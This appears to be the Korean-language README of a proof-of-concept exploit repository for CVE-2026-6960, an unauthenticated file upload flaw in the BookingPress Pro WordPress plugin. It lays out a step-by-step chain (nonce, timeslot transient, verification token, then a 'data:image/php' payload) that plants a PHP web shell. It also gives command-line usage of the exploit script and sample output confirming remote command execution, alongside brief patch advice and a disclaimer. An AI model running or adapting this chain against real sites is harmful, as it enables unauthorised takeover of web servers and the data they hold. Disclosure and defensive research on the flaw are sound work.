
CVE-2026-6960에 대한 개념 증명 익스플로잇: BookingPress Pro ≤ 5.6에서 인증되지 않은 임의 파일 업로드 취약점. 데이터 URI 주입을 통해 PHP 웹 셸을 업로드하는 3단계 체인을 자동화하여 취약한 워드프레스 사이트에서 원격 코드 실행을 달성합니다.
연구: Atomic Edge 심각도: Critical | CVSS: 9.8 | 인증 필요: 없음
⚠️ v2 — 기술적 수정 적용 (커뮤니티 피드백 반영) 자세한 내용은 변경 로그를 참조하세요.
BookingPress Pro WordPress 플러그인(버전 ≤ 5.6)에 중요한 인증되지 않은 임의 파일 업로드 취약점이 존재합니다. 예약 제출 핸들러 bookingpress_book_appointment_booking은 서명 사용자 정의 필드 값을 데이터 URI로 처리합니다. 플러그인은 정규식을 통해 URI의 MIME 유형 부분에서 파일 확장자를 추출하고 이를 직접 file_put_contents()에 전달합니다. 확장자 허용 목록 또는 차단 목록이 없습니다. 이를 통해 공격자는 웹 접근 가능한 디렉토리에 PHP 웹 셸을 작성하고 **원격 코드 실행(RCE)**을 달성할 수 있습니다.
| 속성 | 상세 |
|---|---|
| 플러그인 | BookingPress Pro (bookingpress-appointment-booking-pro) |
| 영향 버전 | ≤ 5.6 |
| 수정 버전 | 5.7 |
| 벡터 | 네트워크 / 인증 불필충 |
| AJAX 액션 | bookingpress_book_appointment_booking |
| 근본 원인 | 공격자가 제어하는 MIME 유형에서 확장자 추출 → file_put_contents() (허용 목록 없음) |
| CWE | CWE-434: 위험한 유형의 파일에 대한 무제한 업로드 |
⚠️ 다음 모든 조건이 충족되어야 사이트가 익스플로잇 가능합니다:
≤ 5.6을 실행 중인 사이트에서 서명 사용자 정의 필드가 구성되지 않은 경우 이 벡터를 통해 익스플로잇할 수 없습니다.
1. GET /booking-page/
└─ Extract _wpnonce from page source
2. POST /wp-admin/admin-ajax.php action=bookingpress_fetch_timeslot_data
└─ Obtain server-side timeslot transient key
3. POST /wp-admin/admin-ajax.php action=bookingpress_pre_booking_verify_details
└─ Obtain pre-booking verification token
4. POST /wp-admin/admin-ajax.php action=bookingpress_book_appointment_booking
└─ bookingpress_signature_field = "data:image/php;base64,<shell>"
└─ Plugin extracts "php" from MIME type → file_put_contents("shell.php", ...)
5. GET /wp-content/uploads/bookingpress/shell.php?cmd=id
└─ RCE confirmed
취약한 코드 경로는 서명 필드 값을 데이터 URI로 처리합니다:
data:image/{ext};base64,{base64_encoded_content}
BookingPress는 정규식 일치를 통해 MIME 유형에서 {ext}를 추출한 다음, 파일 이름에 해당 확장자를 추가하여 file_put_contents()로 디코딩된 내용을 디스크에 씁니다. 허용 목록 확인이 수행되지 않습니다. MIME 유형으로 image/php를 제공하면 .php 파일이 업로드 디렉토리에 작성됩니다.
이는 표준 멀티파트 파일 업로드와 근본적으로 다릅니다. 페이로드는 파일 업로드 부분이 아닌 JSON 본문 필드에 포함됩니다.
pip install requests
# 기본 — 홈페이지 예약 양식, 서비스 ID 1
python3 poc.py -u https://target.com
# 특정 페이지의 예약 양식
python3 poc.py -u https://target.com --booking-page /appointments/
# 사용자 정의 서비스 ID 및 셸 파일 이름
python3 poc.py -u https://target.com -s 3 -f evil.php
# SSL 인증 건너뛰기
python3 poc.py -u https://target.com --no-verify
| 플래그 | 설명 | 기본값 |
|---|---|---|
-u, --url | 대상 WordPress URL | (필수) |
-bp, --booking-page | BookingPress 예약 양식이 포함된 페이지 경경로 | / |
-s, --service-id | BookingPress 서비스 ID | 1 |
-f, --filename | 셸 파일 이름 (데이터 URI MIME에 확장자 주입됨) | shell.php |
--no-verify | SSL 인증서 확인 비활성화 | false |
[!] PRECONDITION: This exploit requires a signature-type custom field
to be configured in the BookingPress booking form by the site admin.
[*] Step 1/3 — Fetching _wpnonce from: https://target.com/appointments/
[+] _wpnonce found: 9f1c3a72bd
[*] Step 2/3 — Fetching timeslot transient...
[+] Timeslot transient: bp_ts_a1b2c3d4
[*] Step 3/3 — Fetching pre-booking verification token...
[+] Verification token: bp_vt_e5f6g7h8
[*] Uploading shell via data URI method...
[*] Extension injected into MIME type: image/php
[+] Upload response (HTTP 200): {"success":true,...}
[✓] Shell is LIVE!
Output of 'id': uid=33(www-data) gid=33(www-data)
[→] Shell access: https://target.com/wp-content/uploads/bookingpress/shell.php?cmd=<command>
image/png, image/jpeg, image/svg+xml)을 기준으로 데이터 URI MIME 유형을 검증하세요.wp_check_filetype_and_ext()를 사용하세요.→ 즉시 BookingPress Pro 5.7로 업데이트하세요.
| # | 문제 | v1 (잘못됨) | v2 (수정됨) |
|---|---|---|---|
| 1 | AJAX 액션 | bookingpress_validate_submitted_booking_form | bookingpress_book_appointment_booking |
| 2 | 페이로드 방식 | image/png를 사용한 멀티파트 파일 업로드 | Data URI: data:image/{ext};base64,... |
| 3 | 익스플로잇 흐름 | 직접적인 인증되지 않은 POST | 3단계 사전 조건 체인 (nonce → transient → token) |
| 4 | 사전 조건 | 문서화되지 않음 | 서명 사용자 정의 필드가 구성되어야 함 |
이 저장소는 승인된 보안 연구 및 교육 목적으로만 사용됩니다. 시스템 소유자의 명시적 서면 허가 없이 이 도구를 어떤 시스템에도 사용하지 마십시오. 무단 사용은 CFAA(미국), 형법 제342.1조(캐나다), EU NIS2 지침 및 기타 관련 법률을 위반할 수 있습니다. 저자는 이 코드의 오용 또는 손해에 대해 책임을 지지 않습니다.